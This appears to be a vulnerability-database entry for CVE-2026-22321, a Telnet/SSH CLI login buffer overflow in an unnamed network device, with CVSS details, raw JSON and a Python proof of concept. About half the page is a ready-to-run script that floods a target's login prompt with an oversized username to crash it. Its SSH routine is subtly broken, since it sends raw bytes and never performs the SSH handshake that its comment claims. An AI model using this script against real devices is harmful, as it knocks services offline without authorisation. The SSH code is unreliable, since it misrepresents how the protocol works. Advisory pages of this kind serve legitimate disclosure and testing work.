Security Vulnerability Report
中文
CVE-2026-22321 CVSS 5.3 MEDIUM

CVE-2026-22321

Published: 2026-03-18 08:16:30
Last Modified: 2026-03-18 14:52:44

Description

A stack-based buffer overflow in the device's Telnet/SSH CLI login routine occurs when a unauthenticated attacker send an oversized or unexpected username input. An overflow condition crashes the thread handling the login attempt, forcing the session to close. Because other CLI sessions remain unaffected, the impact is limited to a low‑severity availability disruption.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

网络设备Telnet/SSH CLI固件(所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22321 PoC - Telnet/SSH CLI Stack Buffer Overflow Description: Stack-based buffer overflow in Telnet/SSH CLI login routine when oversized username input is sent by unauthenticated attacker. """ import socket import sys import time def send_telnet_exploit(target_ip, target_port, username_length=1000): """ Send oversized username to trigger buffer overflow in Telnet login Args: target_ip: Target device IP address target_port: Telnet port (usually 23) username_length: Length of oversized username (default 1000 bytes) """ try: # Create oversized username payload # The overflow occurs when username exceeds buffer size payload = b'A' * username_length # Connect to Telnet service sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Read initial Telnet banner/login prompt banner = sock.recv(1024) print(f"[*] Received banner: {banner.decode('utf-8', errors='ignore')}") # Send oversized username to trigger overflow print(f"[*] Sending oversized username ({username_length} bytes)...") sock.send(payload + b'\r\n') # Wait for response time.sleep(2) # Try to receive response try: response = sock.recv(1024) print(f"[*] Response received: {len(response)} bytes") except socket.timeout: print("[+] No response received - possible crash/DoS condition") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False def send_ssh_exploit(target_ip, target_port, username_length=1000): """ Send oversized username via SSH protocol to trigger buffer overflow Args: target_ip: Target device IP address target_port: SSH port (usually 22) username_length: Length of oversized username """ try: # SSH protocol username packet with oversized username payload = b'A' * username_length sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Read SSH version string version = sock.recv(256) print(f"[*] SSH Version: {version.decode('utf-8', errors='ignore').strip()}") # Send oversized SSH username print(f"[*] Sending oversized SSH username ({username_length} bytes)...") sock.send(payload + b'\r\n') time.sleep(2) try: response = sock.recv(1024) print(f"[*] Response received: {len(response)} bytes") except socket.timeout: print("[+] No response received - possible crash/DoS condition") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 cve-2026-22321-poc.py <target_ip> <protocol> [username_length]") print("Example: python3 cve-2026-22321-poc.py 192.168.1.1 telnet 1000") print("Example: python3 cve-2026-22321-poc.py 192.168.1.1 ssh 1000") sys.exit(1) target_ip = sys.argv[1] protocol = sys.argv[2].lower() username_length = int(sys.argv[3]) if len(sys.argv) > 3 else 1000 print(f"[*] CVE-2026-22321 PoC - Target: {target_ip}, Protocol: {protocol}") print(f"[*] Payload size: {username_length} bytes\n") if protocol == "telnet": send_telnet_exploit(target_ip, 23, username_length) elif protocol == "ssh": send_ssh_exploit(target_ip, 22, username_length) else: print("[-] Unsupported protocol. Use 'telnet' or 'ssh'")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22321", "sourceIdentifier": "[email protected]", "published": "2026-03-18T08:16:29.527", "lastModified": "2026-03-18T14:52:44.227", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow in the device's Telnet/SSH CLI login routine occurs when a unauthenticated attacker send an oversized or unexpected username input. An overflow condition crashes the thread handling the login attempt, forcing the session to close. Because other CLI sessions remain unaffected, the impact is limited to a low‑severity availability disruption."}, {"lang": "es", "value": "Un desbordamiento de búfer basado en pila en la rutina de inicio de sesión CLI de Telnet/SSH del dispositivo ocurre cuando un atacante no autenticado envía una entrada de nombre de usuario sobredimensionada o inesperada. Una condición de desbordamiento bloquea el hilo que maneja el intento de inicio de sesión, forzando el cierre de la sesión. Debido a que otras sesiones CLI no se ven afectadas, el impacto se limita a una interrupción de disponibilidad de baja gravedad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-104", "source": "[email protected]"}]}}